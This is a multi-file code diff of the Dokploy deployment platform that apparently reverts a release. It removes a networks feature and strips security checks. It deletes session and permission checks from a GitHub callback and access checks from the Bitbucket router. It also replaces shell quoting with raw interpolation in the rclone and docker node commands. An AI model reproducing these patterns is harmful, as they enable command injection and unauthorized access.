<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}> <DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -1,6 +1,5 @@
import { ShowResources } from "@/components/dashboard/application/advanced/show-resources"; import { ShowResources } from "@/components/dashboard/application/advanced/show-resources";
import { ShowVolumes } from "@/components/dashboard/application/advanced/volumes/show-volumes"; import { ShowVolumes } from "@/components/dashboard/application/advanced/volumes/show-volumes";
import { AssignNetworks } from "@/components/dashboard/networks/assign-networks";
import { ShowCustomCommand } from "@/components/dashboard/postgres/advanced/show-custom-command"; import { ShowCustomCommand } from "@/components/dashboard/postgres/advanced/show-custom-command";
import { ShowClusterSettings } from "../application/advanced/cluster/show-cluster-settings"; import { ShowClusterSettings } from "../application/advanced/cluster/show-cluster-settings";
import { RebuildDatabase } from "./rebuild-database"; import { RebuildDatabase } from "./rebuild-database";
@@ -22,7 +21,6 @@ export const ShowDatabaseAdvancedSettings = ({ id, type }: Props) => {
<ShowClusterSettings id={id} type={type} /> <ShowClusterSettings id={id} type={type} />
) : null} ) : null}
<ShowVolumes id={id} type={type} /> <ShowVolumes id={id} type={type} />
<AssignNetworks id={id} type={type} />
<ShowResources id={id} type={type} /> <ShowResources id={id} type={type} />
<RebuildDatabase id={id} type={type} /> <RebuildDatabase id={id} type={type} />
</div> </div>

View File

@@ -25,7 +25,6 @@ import {
Loader2, Loader2,
LogIn, LogIn,
type LucideIcon, type LucideIcon,
Network,
Package, Package,
Palette, Palette,
PieChart, PieChart,
@@ -210,20 +209,6 @@ const MENU: Menu = {
// Only enabled for users with access to Docker // Only enabled for users with access to Docker
isEnabled: ({ permissions }) => !!permissions?.docker.read, isEnabled: ({ permissions }) => !!permissions?.docker.read,
}, },
{
isSingle: true,
title: "Networks",
url: "/dashboard/networks",
icon: Network,
// Only enabled for admins and users with access to Docker in non-cloud environments
isEnabled: ({ auth, isCloud }) =>
!!(
(auth?.role === "owner" ||
auth?.role === "admin" ||
auth?.canAccessToDocker) &&
!isCloud
),
},
{ {
isSingle: true, isSingle: true,
title: "Requests", title: "Requests",
@@ -663,7 +648,7 @@ function SidebarLogo() {
</SidebarMenuButton> </SidebarMenuButton>
</DropdownMenuTrigger> </DropdownMenuTrigger>
<DropdownMenuContent <DropdownMenuContent
className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col" className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
align="start" align="start"
side={isMobile ? "bottom" : "right"} side={isMobile ? "bottom" : "right"}
sideOffset={4} sideOffset={4}

View File

@@ -47,7 +47,7 @@ export const DrawerLogs = ({ isOpen, onClose, filteredLogs }: Props) => {
onClose(); onClose();
}} }}
> >
<SheetContent className="w-full sm:max-w-[740px]! flex flex-col"> <SheetContent className="sm:max-w-[740px] flex flex-col">
<SheetHeader> <SheetHeader>
<SheetTitle>Deployment Logs</SheetTitle> <SheetTitle>Deployment Logs</SheetTitle>
<SheetDescription>Details of the request log entry.</SheetDescription> <SheetDescription>Details of the request log entry.</SheetDescription>

View File

@@ -6,7 +6,7 @@ import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
const buttonVariants = cva( const buttonVariants = cva(
"group/button inline-flex shrink-0 cursor-pointer items-center justify-center rounded-lg border border-transparent bg-clip-padding text-sm font-medium whitespace-nowrap transition-all outline-none select-none focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 active:not-aria-[haspopup]:translate-y-px disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4", "group/button inline-flex shrink-0 items-center justify-center rounded-lg border border-transparent bg-clip-padding text-sm font-medium whitespace-nowrap transition-all outline-none select-none focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 active:not-aria-[haspopup]:translate-y-px disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
{ {
variants: { variants: {
variant: { variant: {

View File

@@ -7,7 +7,7 @@ function Textarea({ className, ...props }: React.ComponentProps<"textarea">) {
<textarea <textarea
data-slot="textarea" data-slot="textarea"
className={cn( className={cn(
"flex field-sizing-content min-h-[80px] w-full [overflow-wrap:anywhere] rounded-lg border border-input bg-transparent px-3 py-2 text-base transition-colors outline-none placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:bg-input/50 disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 md:text-sm dark:bg-input/30 dark:disabled:bg-input/80 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40", "flex field-sizing-content min-h-[80px] w-full rounded-lg border border-input bg-transparent px-3 py-2 text-base transition-colors outline-none placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:bg-input/50 disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 md:text-sm dark:bg-input/30 dark:disabled:bg-input/80 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40",
className, className,
)} )}
{...props} {...props}

View File

@@ -1,32 +0,0 @@
CREATE TYPE "public"."networkDriver" AS ENUM('bridge', 'overlay');--> statement-breakpoint
CREATE TABLE "network" (
"networkId" text PRIMARY KEY NOT NULL,
"name" text NOT NULL,
"driver" "networkDriver" DEFAULT 'bridge' NOT NULL,
"internal" boolean DEFAULT false NOT NULL,
"attachable" boolean DEFAULT false NOT NULL,
"enableIPv4" boolean DEFAULT true NOT NULL,
"enableIPv6" boolean DEFAULT false NOT NULL,
"ipam" jsonb DEFAULT '{}'::jsonb,
"createdAt" text NOT NULL,
"organizationId" text NOT NULL,
"serverId" text
);
--> statement-breakpoint
ALTER TABLE "application" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
ALTER TABLE "application" ADD COLUMN "detachDokployNetwork" boolean DEFAULT false NOT NULL;--> statement-breakpoint
ALTER TABLE "compose" ADD COLUMN "serviceNetworks" jsonb DEFAULT '[]'::jsonb;--> statement-breakpoint
ALTER TABLE "libsql" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
ALTER TABLE "libsql" ADD COLUMN "detachDokployNetwork" boolean DEFAULT false NOT NULL;--> statement-breakpoint
ALTER TABLE "mariadb" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
ALTER TABLE "mariadb" ADD COLUMN "detachDokployNetwork" boolean DEFAULT false NOT NULL;--> statement-breakpoint
ALTER TABLE "mongo" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
ALTER TABLE "mongo" ADD COLUMN "detachDokployNetwork" boolean DEFAULT false NOT NULL;--> statement-breakpoint
ALTER TABLE "mysql" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
ALTER TABLE "mysql" ADD COLUMN "detachDokployNetwork" boolean DEFAULT false NOT NULL;--> statement-breakpoint
ALTER TABLE "postgres" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
ALTER TABLE "postgres" ADD COLUMN "detachDokployNetwork" boolean DEFAULT false NOT NULL;--> statement-breakpoint
ALTER TABLE "redis" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
ALTER TABLE "redis" ADD COLUMN "detachDokployNetwork" boolean DEFAULT false NOT NULL;--> statement-breakpoint
ALTER TABLE "network" ADD CONSTRAINT "network_organizationId_organization_id_fk" FOREIGN KEY ("organizationId") REFERENCES "public"."organization"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
ALTER TABLE "network" ADD CONSTRAINT "network_serverId_server_serverId_fk" FOREIGN KEY ("serverId") REFERENCES "public"."server"("serverId") ON DELETE cascade ON UPDATE no action;

File diff suppressed because it is too large Load Diff

View File

@@ -1226,13 +1226,6 @@
"when": 1783674181297, "when": 1783674181297,
"tag": "0174_great_naoko", "tag": "0174_great_naoko",
"breakpoints": true "breakpoints": true
},
{
"idx": 175,
"version": "7",
"when": 1784965709630,
"tag": "0175_fantastic_peter_quill",
"breakpoints": true
} }
] ]
} }

View File

@@ -1,6 +1,6 @@
{ {
"name": "dokploy", "name": "dokploy",
"version": "v0.29.13", "version": "v0.29.12",
"private": true, "private": true,
"license": "Apache-2.0", "license": "Apache-2.0",
"type": "module", "type": "module",

View File

@@ -1,6 +1,5 @@
import { createGithub, validateRequest } from "@dokploy/server"; import { createGithub } from "@dokploy/server";
import { db } from "@dokploy/server/db"; import { db } from "@dokploy/server/db";
import { hasPermission } from "@dokploy/server/services/permission";
import { eq } from "drizzle-orm"; import { eq } from "drizzle-orm";
import type { NextApiRequest, NextApiResponse } from "next"; import type { NextApiRequest, NextApiResponse } from "next";
import { Octokit } from "octokit"; import { Octokit } from "octokit";
@@ -22,22 +21,18 @@ export default async function handler(
if (!code) { if (!code) {
return res.status(400).json({ error: "Missing code parameter" }); return res.status(400).json({ error: "Missing code parameter" });
} }
const [action, ...rest] = state?.split(":");
const { user, session } = await validateRequest(req); // For gh_init: rest[0] = organizationId, rest[1] = userId
if (!user || !session?.activeOrganizationId) { // For gh_setup: rest[0] = githubProviderId
return res.status(401).json({ error: "Unauthorized" });
}
const ctx = {
user: { id: user.id },
session: { activeOrganizationId: session.activeOrganizationId },
};
const [action] = state?.split(":") ?? [];
if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
return res.status(403).json({ error: "Forbidden" });
}
if (action === "gh_init") { if (action === "gh_init") {
const organizationId = rest[0];
const userId = rest[1] || (req.query.userId as string);
if (!userId) {
return res.status(400).json({ error: "Missing userId parameter" });
}
const octokit = new Octokit({}); const octokit = new Octokit({});
const { data } = await octokit.request( const { data } = await octokit.request(
"POST /app-manifests/{code}/conversions", "POST /app-manifests/{code}/conversions",
@@ -56,32 +51,16 @@ export default async function handler(
githubWebhookSecret: data.webhook_secret, githubWebhookSecret: data.webhook_secret,
githubPrivateKey: data.pem, githubPrivateKey: data.pem,
}, },
session.activeOrganizationId, organizationId as string,
user.id, userId,
); );
} else if (action === "gh_setup") { } else if (action === "gh_setup") {
const githubId = state?.split(":")[1];
if (!githubId) {
return res.status(400).json({ error: "Missing github provider id" });
}
const provider = await db.query.github.findFirst({
where: eq(github.githubId, githubId),
with: { gitProvider: true },
});
if (
!provider ||
provider.gitProvider.organizationId !== session.activeOrganizationId
) {
return res.status(404).json({ error: "Github provider not found" });
}
await db await db
.update(github) .update(github)
.set({ .set({
githubInstallationId: installation_id, githubInstallationId: installation_id,
}) })
.where(eq(github.githubId, githubId)) .where(eq(github.githubId, rest[0] as string))
.returning(); .returning();
} }

View File

@@ -1,89 +0,0 @@
import { IS_CLOUD } from "@dokploy/server/constants";
import { validateRequest } from "@dokploy/server/lib/auth";
import { createServerSideHelpers } from "@trpc/react-query/server";
import type { GetServerSidePropsContext } from "next";
import type { ReactElement } from "react";
import superjson from "superjson";
import { ShowNetworks } from "@/components/dashboard/networks/show-networks";
import { DashboardLayout } from "@/components/layouts/dashboard-layout";
import { ServerFilter } from "@/components/shared/server-filter";
import { appRouter } from "@/server/api/root";
const Dashboard = () => {
return (
<ServerFilter>
{(serverId) => <ShowNetworks serverId={serverId} />}
</ServerFilter>
);
};
export default Dashboard;
Dashboard.getLayout = (page: ReactElement) => {
return <DashboardLayout>{page}</DashboardLayout>;
};
export async function getServerSideProps(
ctx: GetServerSidePropsContext<{ serviceId: string }>,
) {
if (IS_CLOUD) {
return {
redirect: {
permanent: true,
destination: "/dashboard/projects",
},
};
}
const { user, session } = await validateRequest(ctx.req);
if (!user) {
return {
redirect: {
permanent: true,
destination: "/",
},
};
}
const { req } = ctx;
const helpers = createServerSideHelpers({
router: appRouter,
ctx: {
req: req as any,
res: ctx.res as any,
db: null as any,
session: session as any,
user: user as any,
},
transformer: superjson,
});
try {
await helpers.project.all.prefetch();
if (user.role === "member") {
const userR = await helpers.user.one.fetch({
userId: user.id,
});
if (!userR?.canAccessToDocker) {
return {
redirect: {
permanent: true,
destination: "/",
},
};
}
}
await helpers.network.all.prefetch({});
return {
props: {
trpcState: helpers.dehydrate(),
},
};
} catch {
return {
props: {},
};
}
}

View File

@@ -35,7 +35,6 @@ import { ShowVolumeBackups } from "@/components/dashboard/application/volume-bac
import { DeleteService } from "@/components/dashboard/compose/delete-service"; import { DeleteService } from "@/components/dashboard/compose/delete-service";
import { ContainerFreeMonitoring } from "@/components/dashboard/monitoring/free/container/show-free-container-monitoring"; import { ContainerFreeMonitoring } from "@/components/dashboard/monitoring/free/container/show-free-container-monitoring";
import { ContainerPaidMonitoring } from "@/components/dashboard/monitoring/paid/container/show-paid-container-monitoring"; import { ContainerPaidMonitoring } from "@/components/dashboard/monitoring/paid/container/show-paid-container-monitoring";
import { AssignNetworks } from "@/components/dashboard/networks/assign-networks";
import { DashboardLayout } from "@/components/layouts/dashboard-layout"; import { DashboardLayout } from "@/components/layouts/dashboard-layout";
import { AdvanceBreadcrumb } from "@/components/shared/advance-breadcrumb"; import { AdvanceBreadcrumb } from "@/components/shared/advance-breadcrumb";
import { StatusTooltip } from "@/components/shared/status-tooltip"; import { StatusTooltip } from "@/components/shared/status-tooltip";
@@ -348,7 +347,6 @@ const Service = (
<ShowDockerLogs <ShowDockerLogs
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
serviceId={data?.applicationId}
/> />
</div> </div>
</TabsContent> </TabsContent>
@@ -419,7 +417,6 @@ const Service = (
<ShowBuildServer applicationId={applicationId} /> <ShowBuildServer applicationId={applicationId} />
<ShowResources id={applicationId} type="application" /> <ShowResources id={applicationId} type="application" />
<ShowVolumes id={applicationId} type="application" /> <ShowVolumes id={applicationId} type="application" />
<AssignNetworks id={applicationId} type="application" />
<ShowRedirects applicationId={applicationId} /> <ShowRedirects applicationId={applicationId} />
<ShowSecurity applicationId={applicationId} /> <ShowSecurity applicationId={applicationId} />
<ShowPorts applicationId={applicationId} /> <ShowPorts applicationId={applicationId} />

View File

@@ -31,7 +31,6 @@ import { UpdateCompose } from "@/components/dashboard/compose/update-compose";
import { ShowBackups } from "@/components/dashboard/database/backups/show-backups"; import { ShowBackups } from "@/components/dashboard/database/backups/show-backups";
import { ComposeFreeMonitoring } from "@/components/dashboard/monitoring/free/container/show-free-compose-monitoring"; import { ComposeFreeMonitoring } from "@/components/dashboard/monitoring/free/container/show-free-compose-monitoring";
import { ComposePaidMonitoring } from "@/components/dashboard/monitoring/paid/container/show-paid-compose-monitoring"; import { ComposePaidMonitoring } from "@/components/dashboard/monitoring/paid/container/show-paid-compose-monitoring";
import { AssignComposeNetworks } from "@/components/dashboard/networks/assign-compose-networks";
import { DashboardLayout } from "@/components/layouts/dashboard-layout"; import { DashboardLayout } from "@/components/layouts/dashboard-layout";
import { AdvanceBreadcrumb } from "@/components/shared/advance-breadcrumb"; import { AdvanceBreadcrumb } from "@/components/shared/advance-breadcrumb";
import { StatusTooltip } from "@/components/shared/status-tooltip"; import { StatusTooltip } from "@/components/shared/status-tooltip";
@@ -313,7 +312,6 @@ const Service = (
serverId={data?.serverId || undefined} serverId={data?.serverId || undefined}
appName={data?.appName || ""} appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"} appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/> />
</div> </div>
</TabsContent> </TabsContent>
@@ -382,13 +380,11 @@ const Service = (
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"} appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/> />
) : ( ) : (
<ShowDockerLogsStack <ShowDockerLogsStack
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.composeId}
/> />
)} )}
</div> </div>
@@ -428,7 +424,6 @@ const Service = (
<AddCommandCompose composeId={composeId} /> <AddCommandCompose composeId={composeId} />
<ShowVolumes id={composeId} type="compose" /> <ShowVolumes id={composeId} type="compose" />
<ShowImport composeId={composeId} /> <ShowImport composeId={composeId} />
<AssignComposeNetworks composeId={composeId} />
<IsolatedDeploymentTab composeId={composeId} /> <IsolatedDeploymentTab composeId={composeId} />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -185,7 +185,7 @@ const Libsql = (
router.push(newPath, undefined, { shallow: true }); router.push(newPath, undefined, { shallow: true });
}} }}
> >
<div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-auto"> <div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-scroll">
<TabsList <TabsList
className={cn( className={cn(
"md:grid md:w-fit max-md:overflow-y-scroll justify-start", "md:grid md:w-fit max-md:overflow-y-scroll justify-start",
@@ -269,7 +269,6 @@ const Libsql = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.libsqlId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -199,7 +199,7 @@ const Mariadb = (
router.push(newPath, undefined, { shallow: true }); router.push(newPath, undefined, { shallow: true });
}} }}
> >
<div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-auto"> <div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-scroll">
<TabsList <TabsList
className={cn( className={cn(
"md:grid md:w-fit max-md:overflow-y-scroll justify-start", "md:grid md:w-fit max-md:overflow-y-scroll justify-start",
@@ -299,7 +299,6 @@ const Mariadb = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mariadbId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -199,7 +199,7 @@ const Mongo = (
router.push(newPath, undefined, { shallow: true }); router.push(newPath, undefined, { shallow: true });
}} }}
> >
<div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-auto"> <div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-scroll">
<TabsList <TabsList
className={cn( className={cn(
"md:grid md:w-fit max-md:overflow-y-scroll justify-start", "md:grid md:w-fit max-md:overflow-y-scroll justify-start",
@@ -299,7 +299,6 @@ const Mongo = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mongoId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -199,7 +199,7 @@ const MySql = (
router.push(newPath, undefined, { shallow: true }); router.push(newPath, undefined, { shallow: true });
}} }}
> >
<div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-auto"> <div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-scroll">
<TabsList <TabsList
className={cn( className={cn(
"md:grid md:w-fit max-md:overflow-y-scroll justify-start ", "md:grid md:w-fit max-md:overflow-y-scroll justify-start ",
@@ -276,7 +276,6 @@ const MySql = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mysqlId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -200,7 +200,7 @@ const Postgresql = (
}); });
}} }}
> >
<div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-auto"> <div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-scroll">
<TabsList <TabsList
className={cn( className={cn(
"md:grid md:w-fit max-md:overflow-y-scroll justify-start", "md:grid md:w-fit max-md:overflow-y-scroll justify-start",
@@ -284,7 +284,6 @@ const Postgresql = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.postgresId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -198,7 +198,7 @@ const Redis = (
router.push(newPath, undefined, { shallow: true }); router.push(newPath, undefined, { shallow: true });
}} }}
> >
<div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-auto"> <div className="flex flex-row items-center justify-between w-full gap-4 overflow-x-scroll">
<TabsList <TabsList
className={cn( className={cn(
"md:grid md:w-fit max-md:overflow-y-scroll justify-start", "md:grid md:w-fit max-md:overflow-y-scroll justify-start",
@@ -297,7 +297,6 @@ const Redis = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.redisId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -21,7 +21,6 @@ import { mariadbRouter } from "./routers/mariadb";
import { mongoRouter } from "./routers/mongo"; import { mongoRouter } from "./routers/mongo";
import { mountRouter } from "./routers/mount"; import { mountRouter } from "./routers/mount";
import { mysqlRouter } from "./routers/mysql"; import { mysqlRouter } from "./routers/mysql";
import { networkRouter } from "./routers/network";
import { notificationRouter } from "./routers/notification"; import { notificationRouter } from "./routers/notification";
import { organizationRouter } from "./routers/organization"; import { organizationRouter } from "./routers/organization";
import { patchRouter } from "./routers/patch"; import { patchRouter } from "./routers/patch";
@@ -61,7 +60,6 @@ export const appRouter = createTRPCRouter({
application: applicationRouter, application: applicationRouter,
backup: backupRouter, backup: backupRouter,
bitbucket: bitbucketRouter, bitbucket: bitbucketRouter,
network: networkRouter,
certificates: certificateRouter, certificates: certificateRouter,
cluster: clusterRouter, cluster: clusterRouter,
compose: composeRouter, compose: composeRouter,

View File

@@ -1,7 +1,6 @@
import { IS_CLOUD } from "@dokploy/server/constants"; import { IS_CLOUD } from "@dokploy/server/constants";
import { import {
apiCreateAi, apiCreateAi,
apiSaveAiCustomProviders,
apiUpdateAi, apiUpdateAi,
deploySuggestionSchema, deploySuggestionSchema,
} from "@dokploy/server/db/schema/ai"; } from "@dokploy/server/db/schema/ai";
@@ -14,9 +13,7 @@ import {
deleteAiSettings, deleteAiSettings,
getAiSettingById, getAiSettingById,
getAiSettingsByOrganizationId, getAiSettingsByOrganizationId,
getCustomAiProviders,
saveAiSettings, saveAiSettings,
saveCustomAiProviders,
suggestVariants, suggestVariants,
} from "@dokploy/server/services/ai"; } from "@dokploy/server/services/ai";
import { createComposeByTemplate } from "@dokploy/server/services/compose"; import { createComposeByTemplate } from "@dokploy/server/services/compose";
@@ -203,19 +200,6 @@ export const aiRouter = createTRPCRouter({
return await deleteAiSettings(input.aiId); return await deleteAiSettings(input.aiId);
}), }),
getCustomProviders: protectedProcedure.query(async ({ ctx }) => {
return await getCustomAiProviders(ctx.session.activeOrganizationId);
}),
saveCustomProviders: adminProcedure
.input(apiSaveAiCustomProviders)
.mutation(async ({ ctx, input }) => {
return await saveCustomAiProviders(
ctx.session.activeOrganizationId,
input.providers,
);
}),
getEnabledProviders: protectedProcedure.query(async ({ ctx }) => { getEnabledProviders: protectedProcedure.query(async ({ ctx }) => {
const settings = await getAiSettingsByOrganizationId( const settings = await getAiSettingsByOrganizationId(
ctx.session.activeOrganizationId, ctx.session.activeOrganizationId,
@@ -362,6 +346,7 @@ ${input.logs}`,
name: input.name, name: input.name,
sourceType: "raw", sourceType: "raw",
appName: `${projectName}-${generatePassword(6)}`, appName: `${projectName}-${generatePassword(6)}`,
isolatedDeployment: true,
environmentId: input.environmentId, environmentId: input.environmentId,
}); });

View File

@@ -49,7 +49,6 @@ import {
restoreWebServerBackup, restoreWebServerBackup,
} from "@dokploy/server/utils/restore"; } from "@dokploy/server/utils/restore";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import { z } from "zod"; import { z } from "zod";
import { import {
createTRPCRouter, createTRPCRouter,
@@ -511,7 +510,7 @@ export const backupRouter = createTRPCRouter({
: input.search; : input.search;
const searchPath = baseDir ? `${bucketPath}/${baseDir}` : bucketPath; const searchPath = baseDir ? `${bucketPath}/${baseDir}` : bucketPath;
const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} ${quote([searchPath])} --no-mimetype --no-modtime 2>/dev/null`; const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} "${searchPath}" --no-mimetype --no-modtime 2>/dev/null`;
let stdout = ""; let stdout = "";

View File

@@ -1,5 +1,4 @@
import { import {
assertGitProviderAccess,
createBitbucket, createBitbucket,
findBitbucketById, findBitbucketById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -52,10 +51,8 @@ export const bitbucketRouter = createTRPCRouter({
}), }),
one: protectedProcedure one: protectedProcedure
.input(apiFindOneBitbucket) .input(apiFindOneBitbucket)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
const bitbucket = await findBitbucketById(input.bitbucketId); return await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return bitbucket;
}), }),
bitbucketProviders: protectedProcedure.query(async ({ ctx }) => { bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -81,26 +78,18 @@ export const bitbucketRouter = createTRPCRouter({
getBitbucketRepositories: protectedProcedure getBitbucketRepositories: protectedProcedure
.input(apiFindOneBitbucket) .input(apiFindOneBitbucket)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return await getBitbucketRepositories(input.bitbucketId); return await getBitbucketRepositories(input.bitbucketId);
}), }),
getBitbucketBranches: protectedProcedure getBitbucketBranches: protectedProcedure
.input(apiFindBitbucketBranches) .input(apiFindBitbucketBranches)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
if (input.bitbucketId) {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
}
return await getBitbucketBranches(input); return await getBitbucketBranches(input);
}), }),
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiBitbucketTestConnection) .input(apiBitbucketTestConnection)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input }) => {
try { try {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
const result = await testBitbucketConnection(input); const result = await testBitbucketConnection(input);
return `Found ${result} repositories`; return `Found ${result} repositories`;

View File

@@ -6,7 +6,6 @@ import {
getRemoteDocker, getRemoteDocker,
} from "@dokploy/server"; } from "@dokploy/server";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import { z } from "zod"; import { z } from "zod";
import { audit } from "@/server/api/utils/audit"; import { audit } from "@/server/api/utils/audit";
import { getLocalServerIp } from "@/server/wss/terminal"; import { getLocalServerIp } from "@/server/wss/terminal";
@@ -52,8 +51,8 @@ export const clusterRouter = createTRPCRouter({
} }
} }
try { try {
const drainCommand = `docker node update --availability drain ${quote([input.nodeId])}`; const drainCommand = `docker node update --availability drain ${input.nodeId}`;
const removeCommand = `docker node rm ${quote([input.nodeId])} --force`; const removeCommand = `docker node rm ${input.nodeId} --force`;
if (input.serverId) { if (input.serverId) {
await execAsyncRemote(input.serverId, drainCommand); await execAsyncRemote(input.serverId, drainCommand);

View File

@@ -639,6 +639,7 @@ export const composeRouter = createTRPCRouter({
name: input.id, name: input.id,
sourceType: "raw", sourceType: "raw",
appName: appName, appName: appName,
isolatedDeployment: template.config.config?.isolated !== false,
}); });
await addNewService(ctx, compose.composeId); await addNewService(ctx, compose.composeId);
@@ -996,6 +997,7 @@ export const composeRouter = createTRPCRouter({
composeFile: templateData.compose, composeFile: templateData.compose,
sourceType: "raw", sourceType: "raw",
env: processedTemplate.envs?.join("\n"), env: processedTemplate.envs?.join("\n"),
isolatedDeployment: true,
}); });
if (processedTemplate.mounts && processedTemplate.mounts.length > 0) { if (processedTemplate.mounts && processedTemplate.mounts.length > 0) {

View File

@@ -10,7 +10,6 @@ import {
import { db } from "@dokploy/server/db"; import { db } from "@dokploy/server/db";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { desc, eq } from "drizzle-orm"; import { desc, eq } from "drizzle-orm";
import { quote } from "shell-quote";
import { createTRPCRouter, withPermission } from "@/server/api/trpc"; import { createTRPCRouter, withPermission } from "@/server/api/trpc";
import { audit } from "@/server/api/utils/audit"; import { audit } from "@/server/api/utils/audit";
import { import {
@@ -59,10 +58,10 @@ export const destinationRouter = createTRPCRouter({
} = input; } = input;
try { try {
const rcloneFlags = [ const rcloneFlags = [
`--s3-access-key-id=${quote([accessKey])}`, `--s3-access-key-id="${accessKey}"`,
`--s3-secret-access-key=${quote([secretAccessKey])}`, `--s3-secret-access-key="${secretAccessKey}"`,
`--s3-region=${quote([region])}`, `--s3-region="${region}"`,
`--s3-endpoint=${quote([endpoint])}`, `--s3-endpoint="${endpoint}"`,
"--s3-no-check-bucket", "--s3-no-check-bucket",
"--s3-force-path-style", "--s3-force-path-style",
"--retries 1", "--retries 1",
@@ -71,13 +70,13 @@ export const destinationRouter = createTRPCRouter({
"--contimeout 5s", "--contimeout 5s",
]; ];
if (provider) { if (provider) {
rcloneFlags.unshift(`--s3-provider=${quote([provider])}`); rcloneFlags.unshift(`--s3-provider="${provider}"`);
} }
